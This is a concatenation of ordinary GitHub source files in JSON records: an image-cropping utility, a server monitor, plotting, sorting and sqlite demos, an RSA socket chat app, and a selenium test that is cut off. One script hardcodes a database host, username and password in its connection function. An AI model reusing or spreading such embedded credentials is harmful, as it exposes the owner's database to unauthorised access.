copy.deepcopy(self.COCO.loadImgs(image_ids))[:10]\n else:\n roidb = copy.deepcopy(self.COCO.loadImgs(image_ids))\n print('{} images.'.format(len(roidb)))\n\n cvtools.makedirs(save_root+'/images')\n cvtools.makedirs(save_root+'/labelTxt+crop')\n\n for entry in tqdm(roidb):\n if cvtools._DEBUG:\n print('crop {}'.format(entry['file_name']))\n image_name = entry['file_name']\n image_file = osp.join(self.img_prefix, image_name)\n img_name_no_suffix, img_suffix = osp.splitext(image_name)\n img = cv2.imdecode(np.fromfile(image_file, dtype=np.uint8), cv2.IMREAD_COLOR) # support chinese\n # img = cv2.imread(image_file) # not support chinese\n if img is None:\n print('{} is None.'.format(image_file))\n continue\n ann_ids = self.COCO.getAnnIds(imgIds=entry['id'], iscrowd=None)\n objs = self.COCO.loadAnns(ann_ids)\n boxes = [obj['bbox'] for obj in objs]\n # labels = [obj['category_id'] for obj in objs]\n if len(boxes) == 0:\n continue\n crop_imgs, starts, new_ann_ids = self.crop(img, np.array(boxes), np.array(ann_ids))\n # crops = []\n for crop_i, crop_img in enumerate(crop_imgs):\n # new_img_name = img_name + '_' + str(crop_i) + img_suffix\n # cv2.imwrite(os.path.join(save_root, 'images', new_img_name), crop_img)\n sx, sy = starts[crop_i]\n h, w, _ = crop_img.shape\n ex, ey = sx + w, sy + h\n # crops.append([sx+3, sy+3, ex-3, ey-3])\n txt_name = '_'.join([img_name_no_suffix] +\n [str(crop_i)]+list(map(str, [sx, sy, ex, ey]))) + '.txt'\n txt_content = ''\n crop_objs = self.COCO.loadAnns(new_ann_ids[crop_i])\n if len(crop_objs) == 0:\n continue\n crop_segs = np.array([crop_obj['segmentation'][0] for crop_obj in crop_objs])\n # filter_segs = []\n temp1 = np.any(crop_segs < 0., axis=1)\n filter_segs = crop_segs[np.any(crop_segs > w, axis=1)]\n # filter_segs.append(crop_segs[np.any(crop_segs > w, axis=1)])\n if len(filter_segs) > 0:\n pass\n # for crop_obj in crop_objs:\n # polygen = np.array(crop_obj['segmentation'][0]).reshape(-1, 2)\n # polygen = polygen - np.array(starts[crop_i]).reshape(-1, 2)\n # temp1 = np.any(polygen < 0., axis=1)\n # temp = polygen[temp1]\n # if len(temp) > 0:\n # pass\n # line = list(map(str, polygen.reshape(-1)))\n # cat = self.COCO.cats[crop_obj['category_id']]['name']\n # diffcult = str(crop_obj['difficult'])\n # line.append(cat)\n # line.append(diffcult)\n # txt_content += ' '.join(line) + '\\n'\n # cvtools.strwrite(txt_content, osp.join(save_root, 'labelTxt+crop', txt_name))\n # if len(crops) > 0:\n # draw_img = cvtools.draw_boxes_texts(img, crops, line_width=3, box_format='x1y1x2y2')\n # cvtools.imwrite(draw_img, osp.join(save_root, 'images', img_name_no_suffix+'.jpg'))\n\n def crop_for_test(self, save):\n from collections import defaultdict\n imgs = cvtools.get_images_list(self.img_prefix)\n self.test_dataset = defaultdict(list)\n for image_file in tqdm(imgs):\n if cvtools._DEBUG:\n print('crop {}'.format(image_file))\n image_name = osp.basename(image_file)\n img = cvtools.imread(image_file) # support chinese\n if img is None:\n print('{} is None.'.format(image_file))\n continue\n crop_imgs, starts, _ = self.crop(img)\n for crop_img, start in zip(crop_imgs, starts):\n crop_rect = start[0], start[1], start[0]+crop_img.shape[1], start[1]+crop_img.shape[0]\n self.test_dataset[image_name].append(crop_rect)\n cvtools.save_json(self.test_dataset, save)\n\n\nif __name__ == '__main__':\n crop_in_order = CropInOder()\n img_file = 'F:/data/rssrai2019_object_detection/val/images/P0060.png'\n img = cv2.imread(img_file)\n img = crop_in_order.crop(img)\n","repo_name":"AlvinIsonomia/cvtools","sub_path":"cvtools/label_analysis/crop_in_order.py","file_name":"crop_in_order.py","file_ext":"py","file_size_in_byte":8082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34692198803","text":"#!/usr/bin/env python\n\"\"\"\nADP server monitor service\nTo be run on ADP servers\n\nResponds to requests from the ADP main control script for:\n TEMP_MIN/MAX/AVG temperatures\n SOFTWARE version\n STAT code and INFO string\n\"\"\"\n\nfrom __future__ import print_function\n\n__version__ = \"0.1\"\n__date__ = '$LastChangedDate: 2015-07-23 15:44:00 -0600 (Fri, 25 Jul 2014) $'\n__author__ = \"Ben Barsdell, Daniel Price, Jayce Dowell\"\n__copyright__ = \"Copyright 2015, The LWA-SV Project\"\n__credits__ = [\"Ben Barsdell\", \"Daniel Price\", \"Jayce Dowell\"]\n__license__ = \"Apache v2\"\n__maintainer__ = \"Jayce Dowell\"\n__email__ = \"jdowell at unm\"\n__status__ = \"Development\"\n\nfrom StoppableThread import StoppableThread\nimport zmq\nimport json\nimport platform\nfrom DeviceMonitor import CPUDevice, GPUDevice, DiskDevice, GPUSystem\n\nclass ServerMonitor(object):\n\tdef __init__(self, cpu_ids=[], gpu_ids=[], disk_ids=[]):\n\t\tself.gpu_system = GPUSystem()\n\t\tself.cpus = [ CPUDevice(idx) for idx in cpu_ids]\n\t\tself.gpus = [ GPUDevice(idx) for idx in gpu_ids]\n\t\tself.disks = [DiskDevice(path) for path in disk_ids]\n\tdef get_device_ids(self):\n\t\tcpu_ids = ['CPU%i'%cpu.id() for cpu in self.cpus]\n\t\tgpu_ids = ['GPU%i'%gpu.id() for gpu in self.gpus]\n\t\treturn cpu_ids + gpu_ids\n\tdef get_device_temps(self):\n\t\tcpu_temps = [cpu.temperature() for cpu in self.cpus]\n\t\tgpu_temps = [gpu.temperature() for gpu in self.gpus]\n\t\treturn cpu_temps + gpu_temps\n\tdef get_disk_ids(self):\n\t\treturn [disk.path for disk in self.disks]\n\tdef get_disk_usages(self):\n\t\treturn [disk.usage() for disk in self.disks]\n\t\nclass AdpServerMonitor(StoppableThread):\n\tdef __init__(self, config, log, monitor, timeout=0.1):\n\t\tStoppableThread.__init__(self)\n\t\tself.config = config\n\t\tself.log = log\n\t\tself.monitor = monitor\n\t\tself.zmqctx = zmq.Context()\n\t\tself.sock = self.zmqctx.socket(zmq.REP)\n\t\taddr = \"tcp://%s:%i\" % (config['mcs']['server']['local_host'],\n\t\t config['mcs']['server']['local_port'])\n\t\tself.log.info(\"Binding socket to: %s\", addr)\n\t\tself.sock.bind(addr)\n\t\tself.sock.RCVTIMEO = int(timeout*1000)\n\tdef run(self):\n\t\tself.log.info(\"Listening for requests\")\n\t\twhile not self.stop_requested():\n\t\t\tself.log.debug(\"Waiting for requests\")\n\t\t\ttry:\n\t\t\t\treq = self.sock.recv()\n\t\t\texcept zmq.error.Again:\n\t\t\t\tpass\n\t\t\texcept zmq.error.ZMQError: # For \"Interrupted system call\"\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tself.log.debug(\"Received request: %s\", req)\n\t\t\t\ttry:\n\t\t\t\t\treply = self._process_request(req)\n\t\t\t\texcept Exception as e:\n\t\t\t\t\treply = {'status': -500,\n\t\t\t\t\t 'info': \"Internal server error: %s\"%e,\n\t\t\t\t\t 'data': None}\n\t\t\t\tself.log.debug(\"Replying with: %s\", json.dumps(reply))\n\t\t\t\tself.sock.send_json(reply)\n\tdef _process_request(self, req):\n\t\tstatus = 0\n\t\tinfo = 'OK'\n\t\tdata = None\n\t\tif req == 'PNG':\n\t\t\tpass\n\t\telif req == 'STAT':\n\t\t\t# TODO: What information to encode here?\n\t\t\tpass\n\t\telif req == 'INFO':\n\t\t\t# TODO: What information to give here?\n\t\t\tpass\n\t\telif req.startswith('TEMP'):\n\t\t\ttemps = self.monitor.get_device_temps()\n\t\t\tif req == 'TEMP_MAX':\n\t\t\t\tdata = max(temps)\n\t\t\telif req == 'TEMP_MIN':\n\t\t\t\tdata = min(temps)\n\t\t\telif req == 'TEMP_AVG':\n\t\t\t\tdata = sum(temps)/float(len(temps))\n\t\t\telse:\n\t\t\t\tstatus = -404\n\t\t\t\tinfo = \"Unknown MIB entry: %s\" % req\n\t\t\t\tself.log.error(info)\n\t\telif req == 'SOFTWARE':\n\t\t\t# TODO: Get pipeline version etc.\n\t\t\tkernel_version = platform.uname()[2]\n\t\t\tdata = (\"krnl:%s,adp_srv_mon:%s,gpu_drv:%s\" %\n\t\t\t (kernel_version,\n\t\t\t __version__,\n\t\t\t self.monitor.gpu_system.driver_version()))\n\t\telse:\n\t\t\tstatus = -1\n\t\t\tinfo = \"Unknown MIB entry: %s\" % req\n\t\t\tself.log.error(info)\n\t\treturn {'status': status,\n\t\t 'info': info,\n\t\t 'data': data}\n\nimport AdpConfig\nimport MCS2\nimport logging\nfrom logging.handlers import TimedRotatingFileHandler\nimport time\nimport os\nimport signal\n\ndef main(argv):\n\timport sys\n\tif len(sys.argv) <= 1:\n\t\tprint(\"Usage:\", sys.argv[0], \"config_file\")\n\t\tsys.exit(-1)\n\tconfig_filename = sys.argv[1]\n\tconfig = AdpConfig.parse_config_file(config_filename)\n\t\n\t# TODO: Try to encapsulate this in something simple in AdpLogging\n\tlog = logging.getLogger(__name__)\n\tlogFormat = logging.Formatter(config['log']['msg_format'],\n\t datefmt=config['log']['date_format'])\n\tlogFormat.converter = time.gmtime\n\tlogHandler = logging.StreamHandler(sys.stdout)\n\tlogHandler.setFormatter(logFormat)\n\tlog.addHandler(logHandler)\n\tlog.setLevel(logging.INFO)\n\t\n\tshort_date = ' '.join(__date__.split()[1:4])\n\tlog.info(\"Starting %s with PID %i\", argv[0], os.getpid())\n\tlog.info(\"Cmdline args: \\\"%s\\\"\", ' '.join(argv[1:]))\n\tlog.info(\"Version: %s\", __version__)\n\tlog.info(\"Last changed: %s\", short_date)\n\tlog.info(\"Current MJD: %f\", MCS2.slot2mjd())\n\tlog.info(\"Current MPM: %i\", MCS2.slot2mpm())\n\tlog.info('All dates and times are in UTC unless otherwise noted')\n\t\n\tlog.debug(\"Creating server monitor\")\n\tmonitor = ServerMonitor(config['server']['cpu_ids'],\n\t\t\t\t\t\t\tconfig['server']['gpu_ids'],\n\t\t\t\t\t\t\tconfig['server']['disk_ids'])\n\t\n\tlog.debug(\"Creating ADP server monitor\")\n\tadpmon = AdpServerMonitor(config, log, monitor)\n\t\n\tdef handle_signal_terminate(signum, frame):\n\t\tSIGNAL_NAMES = dict((k, v) for v, k in \\\n\t\t reversed(sorted(signal.__dict__.items()))\n\t\t if v.startswith('SIG') and \\\n\t\t not v.startswith('SIG_'))\n\t\tlog.warning(\"Received signal %i %s\", signum, SIGNAL_NAMES[signum])\n\t\tadpmon.request_stop()\n\tlog.debug(\"Setting signal handlers\")\n\tsignal.signal(signal.SIGHUP, handle_signal_terminate)\n\tsignal.signal(signal.SIGINT, handle_signal_terminate)\n\tsignal.signal(signal.SIGQUIT, handle_signal_terminate)\n\tsignal.signal(signal.SIGTERM, handle_signal_terminate)\n\tsignal.signal(signal.SIGTSTP, handle_signal_terminate)\n\t\n\tlog.debug(\"Running ADP server monitor\")\n\tadpmon.run()\n\t\n\tlog.info(\"All done, exiting\")\n\tsys.exit(0)\n\t\nif __name__ == \"__main__\":\n\timport sys\n\tsys.exit(main(sys.argv))\n","repo_name":"lwa-project/lwa_sv","sub_path":"scripts/adp_server_monitor.py","file_name":"adp_server_monitor.py","file_ext":"py","file_size_in_byte":5975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9133349235","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n#plot 1:\nx1 = np.array([0, 6])\ny1 = np.array([0, 100])\n\nplt.subplot(1, 2, 1)\nplt.plot(x1,y1)\nplt.title(\"plot 1\")\n\n#plot 2:\nx2 = np.array([1, 2, 3, 4])\ny2 = np.array([1, 4, 9, 16])\n\nplt.subplot(1, 2, 2)\nplt.plot(x2,y2)\nplt.title(\"plot 2\")\n\nplt.suptitle(\"Subplot Test\")\nplt.show()","repo_name":"eric2003/ModernPython","sub_path":"codes/matplotlib/subplot/subplot01/testprj.py","file_name":"testprj.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"28374596441","text":"#!/usr/bin/python3\n\nimport socket\nimport datetime\nimport base64\nimport os\nimport sys\nimport threading\nimport random\nimport time\nimport rsa\nimport pyfiglet\nfrom termcolor import colored\nfrom packages import chat_keygen\n\nos.system(\"clear\")\n#KEY LOADER\ndef generate():\n\tglobal pubkey\n\tglobal prikey\n\twith open('sending_key.txt', 'rb')as f:\n\t\tpubkey = f.read()\n\t\tos.remove('sending_key.txt')\n\twith open('receiving_key.pem', 'rb')as f:\n\t\tprikey = rsa.PrivateKey.load_pkcs1(f.read())\n\n#RECORDING\ndef recorder():\n\tglobal record\n\tglobal othername\n\n\tuser = os.getlogin()\n\tlocate = \"/home/\" + user + \"/Documents/chatbox/recording/\"\n\tif not os.path.exists(locate):\n\t\tos.makedirs(locate)\n\tsamay = datetime.datetime.now()\n\tday = str(samay.day)\n\tmonth = str(samay.month)\n\thour = str(samay.hour)\n\tminute = str(samay.minute)\n\trec_file = othername + \"_D\" + day + \"_M\" + month + \"_h\" + hour + \"_m\" + minute\n\trecord = open(locate + rec_file + \".txt\", 'w')\n\tprint (colored(\"[*]Recording started\", 'magenta'))\n\n#SENDING\ndef send(chat):\n\tglobal target\n\tglobal sock\n\tglobal send_key\n\n\tcipher = rsa.encrypt(chat.encode('utf-8'), send_key)\n\ttry:\n\t\ttarget.send(cipher)\n\texcept:\n\t\tsock.send(cipher)\n\ndef sendfile(org_file):\n\tglobal target\n\tglobal sock\n\tglobal send_key\n\n\twith open(org_file, 'rb') as org:\n\t\twhile True:\n\t\t\torg_data = org.read(117)\n\t\t\tif not org_data: break\n\t\t\tcipher = rsa.encrypt(org_data,send_key)\n\t\t\tcipher = base64.b64encode(cipher)\n\t\t\ttry:\n\t\t\t\ttarget.send(cipher)\n\t\t\texcept:\n\t\t\t\tsock.send(cipher)\n\t\t\ttime.sleep(0.2)\n\ttime.sleep(0.2)\n\tdone = \"done\"\n\tcip = rsa.encrypt(done.encode('utf-8'),send_key)\n\ttry:\n\t\ttarget.send(cip)\n\texcept:\n\t\tsock.send(cip)\n\tprint (colored(\"[+]File sent\", 'magenta'))\n\torg.close()\n\ndef sender():\n\tglobal record\n\tglobal rec_cmd\n\tglobal username\n\tglobal pubkey\n\tglobal target\n\tglobal s\n\tglobal sock\n\n\tgenerate()\n\tcipher = base64.b64encode(pubkey)\n\ttry:\n\t\ttarget.send(cipher)\n\texcept:\n\t\tsock.send(cipher)\n\ttime.sleep(1)\n\n\twhile(True):\n\t\tchat = input(\"You: \")\n\t\tmsg = username + \": \" + chat\n\t\tif (chat[:4] == \"send\"):\n\t\t\ttry:\n\t\t\t\tini = chat[5:].split('/')\n\t\t\t\tini = ini[-1]\n\t\t\t\tsend(username + \": send \" + ini)\n\t\t\t\tsendfile(chat[5:])\n\t\t\texcept:\n\t\t\t\tprint (colored(\"failed to send\",'red'))\n\t\telif (chat == \"help()\"):\n\t\t\thelp_option = '''send 'file name' --> Send file to contact\\nrecord() --> Start recording the chat\\nend() --> Exit the messenger'''\n\t\t\tprint (colored(help_option, 'blue'))\n\t\telse:\n\t\t\ttry:\n\t\t\t\tsend(msg)\n\t\t\texcept:\n\t\t\t\tbreak\n\t\tif (rec_cmd):\n\t\t\trecord.write(msg + \"\\n\")\n\t\tif (chat == \"record()\"):\n\t\t\trec_cmd = True\n\t\t\trecorder()\n\t\telif (chat == \"end()\"):\n\t\t\tprint (colored(\"[!!] Connection terminated\", 'red'))\n\t\t\ttry:\n\t\t\t\ttarget.close()\n\t\t\t\ts.close()\n\t\t\texcept:\n\t\t\t\tsock.close()\n\t\t\tbreak\n\t\t\n\n#RECEIVING\ndef rec():\n\tglobal target\n\tglobal sock\n\tglobal result\n\tglobal prikey\n\tglobal othername\n\n\ttry:\n\t\tdata = target.recv(1024)\n\texcept:\n\t\tdata = sock.recv(1024)\n\tresult = rsa.decrypt(data,prikey).decode('utf-8')\n\ttmp = result.split(':')\n\tothername = tmp[0]\n\ndef recfile(org_f):\n\tglobal prikey\n\tglobal target\n\tglobal sock\n\tglobal rece\n\n\tuser = os.getlogin()\n\tlocate = \"/home/\" + user + \"/Documents/chatbox/files/\"\n\tif not os.path.exists(locate):\n\t\tos.makedirs(locate)\n\n\torg_file = open(locate + org_f, 'wb')\n\twhile True:\n\t\ttry:\n\t\t\tdata = target.recv(1024)\n\t\texcept:\n\t\t\tdata = sock.recv(1024)\n\t\ttry:\n\t\t\torg_data = rsa.decrypt(data,prikey).decode('utf-8')\n\t\t\tif(org_data == \"done\"):\n\t\t\t\tbreak\n\t\texcept:\n\t\t\tdata = data[:344]\n\t\t\tdata = base64.b64decode(data)\n\t\t\torg_data = rsa.decrypt(data,prikey)\n\t\t\torg_file.write(org_data)\n\tprint (colored(\"\\n[+]File received\", 'magenta'))\n\t#print (\"You: \", end = \"\")\n\torg_file.close()\n\trece = True\n\ndef receiver():\n\tglobal record\n\tglobal rec_cmd\n\tglobal target\n\tglobal s\n\tglobal sock\n\tglobal result\n\tglobal prikey\n\tglobal send_key\n\tglobal rece\n\tglobal username\n\tglobal othername\n\trece = True\n\n\ttry:\n\t\tdata = target.recv(1024)\n\texcept:\n\t\tdata = sock.recv(1024)\n\tresult = base64.b64decode(data)\n\twith open('sending_key.txt','wb') as f:\n\t\tf.write(result)\n\tf.close()\n\twith open('sending_key.txt', 'rb') as f:\n\t\tsend_key = rsa.PublicKey.load_pkcs1(f.read())\n\tf.close()\n\tprint (colored(\"[+]Key received\", 'cyan'))\n\n\twhile (True):\n\t\tif(rece):\n\t\t\ttry:\n\t\t\t\trec()\n\t\t\t\toprt = result.replace(othername + \": \", \"\")\n\t\t\texcept:\n\t\t\t\tbreak\n\t\tif(rec_cmd):\n\t\t\trecord.write(result + \"\\n\")\n\t\tif(oprt == \"record()\"):\n\t\t\trec_cmd = True\n\t\t\trecorder()\n\t\telif (oprt[:4] == \"send\"):\n\t\t\ttry:\n\t\t\t\trecfile(oprt[5:])\n\t\t\texcept:\n\t\t\t\tprint (colored(\"failed to receive file\",'red'))\n\t\telif (result == \"\"):\n\t\t\tcontinue\n\t\telif (oprt == \"end()\"):\n\t\t\tprint (colored(\"[!!] Connection terminated\", 'red'))\n\t\t\t#send(username + \": \" + \"end()\")\n\t\t\ttry:\n\t\t\t\ttarget.close()\n\t\t\t\ts.close()\n\t\t\texcept:\n\t\t\t\tsock.close()\n\t\t\tbreak\n\t\telse:\n\t\t\tc = os.get_terminal_size().columns\n\t\t\tc = int(c/2)\n\t\t\tprint (\"\\n\" + \" \"*c + result)\n\n\n#MESSENGER\ndef thread():\n\tglobal Lrun\n\tThreadsend = threading.Thread(target=sender)\n\tThreadreceive = threading.Thread(target=receiver)\n\tThreadsend.start()\n\tThreadreceive.start()\n\tThreadreceive.join()\n\tThreadsend.join()\n\tLrun = False\n\n#CONNECTION ESTABLISHING\ndef connector():\n\tglobal ran_num\n\tglobal sock\n\t\n\tran_num-=1\n\twhile (ran_num >= 1):\n\t\ttry:\n\t\t\tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\t\tsock.connect((RHOST, RPORT))\n\t\t\tprint (colored(\"[+] Connection successful: \" + str(RHOST), 'green'))\n\t\t\tthread()\n\t\t\tbreak\n\t\texcept:\n\t\t\tif (ran_num >= 1):\n\t\t\t\tconnector()\n\ndef listener():\n\tglobal ip\n\tglobal target\n\tglobal s\n\n\ts = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ts.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\ts.bind((LHOST, LPORT))\n\ts.listen (1)\n\ttarget, ip = s.accept()\n\tprint (colored(\"[+] Connection successful: \" + str(RHOST), 'green'))\n\tthread()\n\treturn\n\ndef main():\n\tglobal s\n\tglobal sock\n\tglobal LHOST\n\tglobal LPORT\n\tglobal RHOST\n\tglobal RPORT\n\tglobal username\n\tglobal rec_cmd\n\tglobal Lrun\n\n\tLrun = True\n\trec_cmd = False\n\tprint (\"\\n\\nYour IP: \", end = '')\n\tLHOST = os.system(\"hostname -I\")\n\tLHOST = str(LHOST)\n\tLPORT = 54321\n\tRHOST = input(\"Contact's IP: \")\n\tRPORT = 54321\n\n\tprint (colored(\"[+] Connecting...\", 'yellow'))\n\tconnector()\n\tif (Lrun):\n\t\tlistener()\n\treturn\n\ndef banner():\n\tbanner = pyfiglet.figlet_format(\"CHATBOX\",font = ran_font)\n\tprint (colored(banner, ran_color))\n\tprint (colored(\"version: \" + __version__, ran_color))\n\nran_num = random.randint(2,5)\nfonts = [\"banner\",\"big\",\"bubble\",\"digital\",\"emboss\",\"emboss2\",\"future\",\"letter\",\"mini\",\"pagga\",\"script\",\"shadow\",\"slant\",\"small\",\"smblock\"]\nran_font = random.choice(fonts)\ncolors = [\"grey\",\"red\",\"green\",\"yellow\",\"blue\",\"magenta\",\"cyan\",\"white\"]\nran_color = random.choice(colors)\n\n__version__ = \"1.2.6\"\n\nif (len(sys.argv) > 1):\n\targ = sys.argv[1]\n\tif (arg == \"-h\" or arg == \"help\"):\n\t\thelp_option = '''chatbox.py 'username' --> Set your username\\nsend 'file name' --> Send file to contact\\nrecord() --> Start recording the chat\\nhelp() --> Show help option during chat\\nend() --> Exit the messenger'''\n\t\tprint (colored(help_option, 'blue'))\n\telse:\n\t\tusername = arg\n\t\ttry:\n\t\t\tbanner()\n\t\t\tmain()\n\t\texcept:\n\t\t\texit()\nelse:\n\tprint (colored(\"[!!]An argument is required\", 'red'))\n\tprint (\"[*]Try chatbox.py '-h' for help\")\n","repo_name":"M4dar4/deadlock-messenger","sub_path":"chatbox.py","file_name":"chatbox.py","file_ext":"py","file_size_in_byte":7278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13681708844","text":"import pandas as pd\nimport datetime as dt\nimport xml.etree.ElementTree as ET\n\nxl_workbook = pd.ExcelFile('D:\\\\Logix\\\\Graphical Dashboard\\\\task-legal_sheet.xlsx')\n\n# Parameters\n\n# sh1 = \"sheet1-t_legal_status\"\n# sh2 = \"sheet2- Abandoned\"\n# sh3 = \"sheet3-Double\"\n# sh4 = \"Sheet4 ifi-integrated-content\"\n#\n# sh1_pb = \"publication_id\"\n# sh4_pb = \"publication_id\"\n#\n# sh1_content = \"content\"\n# sh2_content = \"Event-title\"\n# sh3_content = \"Event-title\"\n# sh4_content = \"content\"\n\n\n# database connection\ndef db_conn():\n import psycopg2\n conn = psycopg2.connect(dbname=\"mgpznpjc\", user='mgpznpjc', password='pEuAWZjcHkTB86lDNLvMwTJKS-2l2aOw',\n host='satao.db.elephantsql.com', port='5432')\n return conn\n\n\n# Read Excel File\ndef read_sheet(sheet_name):\n sheet = xl_workbook.parse(sheet_name)\n return sheet\n\n\n# Read publication id from excel\ndef read_pb_id(sht_name, pb_id):\n sheet1 = read_sheet(sht_name)\n pb_id = sheet1[pb_id].tolist()\n return pb_id\n\n\n# read title from excel\ndef content(sht_name, content):\n sheet1 = read_sheet(sht_name)\n content = sheet1[content].tolist()\n return content\n\n\n# Return key name from dictionary from related value\ndef get_key(val, dict):\n for key, value in dict.items():\n if val == value:\n return key\n\n return \"key doesn't exist\"\n\n\nsheet2_list = [] # Title name from sheet2\nsheet3_list = [] # Title name from sheet3\nsht4_val = [] # Title name from sheet4\n\nfor title in content(\"sheet2- Abandoned\", \"Event-title\"): # Titles of Sheet2\n sheet2_list.append(title)\n\nfor title in content(\"sheet3-Double\", \"Event-title\"): # Titles of Sheet3\n sheet3_list.append(title)\n\nfor sht4_test_xml in range(len(content(\"Sheet4 ifi-integrated-content\", \"content\"))): # Titles of Sheet4\n root4 = ET.fromstring(content(\"Sheet4 ifi-integrated-content\", \"content\")[sht4_test_xml])\n\n for neighbor in root4.iter('ifi-integrated-content'):\n for k in neighbor.iter('ifi-patent-status-description'):\n sht4_val.append({\n 'value': k.text,\n 'pb': read_pb_id(\"Sheet4 ifi-integrated-content\", \"publication_id\")[sht4_test_xml]\n })\n break\n\ndate_title = []\npub_dt = {} # Store date and title in dict format\nfor test_xml in range(len(content(\"sheet1-t_legal_status\", \"content\"))):\n root = ET.fromstring(content(\"sheet1-t_legal_status\", \"content\")[test_xml])\n ttl_dt = []\n\n for neighbor in root.iter('legal-event'):\n\n str_date = neighbor.attrib['date']\n date_append = str_date[0:4] + \"-\" + str_date[4:6] + \"-\" + str_date[6:8]\n d = dt.datetime.strptime(date_append, \"%Y-%m-%d\")\n d = d.date()\n\n date_title = []\n\n for k in neighbor.iter('event-title'):\n ttl_dt.append({'date': d, 'title': k.text, })\n date_title.append(ttl_dt)\n\n pub_dt[read_pb_id(\"sheet1-t_legal_status\", \"publication_id\")[test_xml]] = date_title\n\n# Update date_title for Date Format (String to Date)\n\nfor values in pub_dt.values():\n values[0].sort(key=lambda x: x['date'])\n values[0] = values[0][::-1]\n\n# Condition for data availability in sheet2, sheet3 and sheet4\n\nfor j in pub_dt.values():\n if j[0][0]['title'] in sheet2_list:\n j[0].append({'status': \"Abandoned\"})\n\n elif j[0][0]['title'] in sheet3_list:\n j[0].append({'status': \"Double\"})\n\n else:\n pub_id = get_key(j, pub_dt)\n for m in sht4_val:\n z = m['pb']\n if pub_id == z:\n j[0].append({'status': m['value']})\n\nconn = db_conn()\ncursor = db_conn().cursor()\nfor final_data in pub_dt.values():\n fnl_data = final_data[0]\n date = final_data[0][0]['date']\n pub_id = get_key(final_data, pub_dt)\n try:\n sts = fnl_data[-1]['status']\n cursor.execute(\"INSERT INTO test_task(Date,pub_id,status) VALUES(%s, %s, %s)\", (date, pub_id, sts,))\n conn.commit()\n except:\n sts = 'V'\n cursor.execute(\"INSERT INTO test_task(Date,pub_id,status) VALUES(%s, %s, %s)\", (date, pub_id, sts,))\n conn.commit()\ncursor.close()\nconn.close()","repo_name":"sunnypy22/graphical_dashboard","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36800171573","text":"def select_sort_example(li):\n li_new = []\n for i in range(len(li)):\n min_var = min(li)\n li_new.append(min_var)\n li.remove(min_var)\n return li_new\n\n\n# 改进后的选择排序\ndef select_sort(li):\n for i in range(len(li)-1): # 第i趟\n min_d = i\n for j in range(i+1, len(li)):\n if li[j] < li[min_d]:\n min_d = j\n li[i], li[min_d] = li[min_d], li[i]\n\n\nli = [1, 7, 2, 13, 6]\nselect_sort(li)\nprint(li)","repo_name":"diaoyuqiang/python","sub_path":"算法/选择排序.py","file_name":"选择排序.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35000668995","text":"import sqlite3\n\ndef CreateDatabase():\n #We use ':memory:' to create a database in RAM!\n connection = sqlite3.connect(':memory:')\n with connection:\n cur = connection.cursor()\n #We begin by actually making the table\n cur.execute(\"CREATE TABLE if not exists Roster( \\\n Name TEXT, \\\n Species TEXT, \\\n IQ INT \\\n );\")\n\n #We now create a tuple of the values we want to enter...\n ourValues = ((\"Jean-Baptiste Zorg\", \"Human\", 122), (\"Korben Dallas\", \"Meat Popsicle\", 100), (\"Ak'not\", \"Mangalore\", -5))\n #And enter them all at once thanks to executemany!\n cur.executemany(\"\"\" INSERT INTO Roster (Name, Species, IQ) VALUES (?, ?, ?)\"\"\", ourValues)\n\n #Now, we need to change an entry. Specifically, Korben Dallas needs to be marked as Human\n cur.execute(\"\"\"UPDATE Roster SET Species = 'Human' WHERE Name='Korben Dallas'\"\"\")\n\n #Finally, we select all info for the Humans!\n cur.execute(\"\"\"SELECT Name, IQ FROM Roster WHERE Species='Human'\"\"\")\n\n #We set a variable to grab the selected data\n varTest2 = cur.fetchall()\n\n #Then we execute a simple loop to display our results!\n for i in varTest2:\n print(\"{} is a Human with an IQ of {}\".format(i[0], i[1]))\n #I was making this part more complicated than it needed to be... I was trying to use fetchone() here.\n #But, since i in varTest2 is each tuple, using i[0] and i[1] is enough.\n\n connection.close()\n\n\t\n\n\nif __name__ == \"__main__\":\n print(\"Here we go!\")\n CreateDatabase()\n\n","repo_name":"DustyDood/PythonProjects","sub_path":"RAMDatabaseChallenge.py","file_name":"RAMDatabaseChallenge.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36535147215","text":"import pytest\nfrom selenium import webdriver\nimport time\nimport math\nimport os\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\ncurrent_dir = os.path.abspath(os.path.dirname(__file__)) # получаем путь к директории текущего исполняемого файла\nfile_path = os.path.join(current_dir, 'Files', '3_6_links.txt') # добавляем к этому пути имя файла\n\n# открываем файл\nf = open(file_path, 'r')\nlinks = [line.strip() for line in f]\n\n\n@pytest.fixture\ndef browser():\n print(\"\\nstart browser for test..\")\n browser = webdriver.Chrome()\n browser.implicitly_wait(10)\n yield browser\n print(\"\\nquit browser..\")\n browser.quit()\n\n\nclass TestSendFeedback():\n output_text = \"\"\n\n @pytest.mark.parametrize(\"link\", links)\n def test_feed(self, browser, link):\n browser.get(link)\n\n textare = browser.find_element_by_css_selector('[class=\"ember-text-area ember-view textarea string-quiz__textarea\"]')\n textare.send_keys(str(math.log(int(time.time()))))\n\n WebDriverWait(browser, 5).until(\n EC.element_to_be_clickable((By.CLASS_NAME, 'submit-submission'))\n )\n\n browser.find_element_by_class_name('submit-submission').click()\n\n WebDriverWait(browser, 5).until(\n EC.visibility_of_element_located((By.CLASS_NAME, \"smart-hints__hint\"))\n )\n\n el = 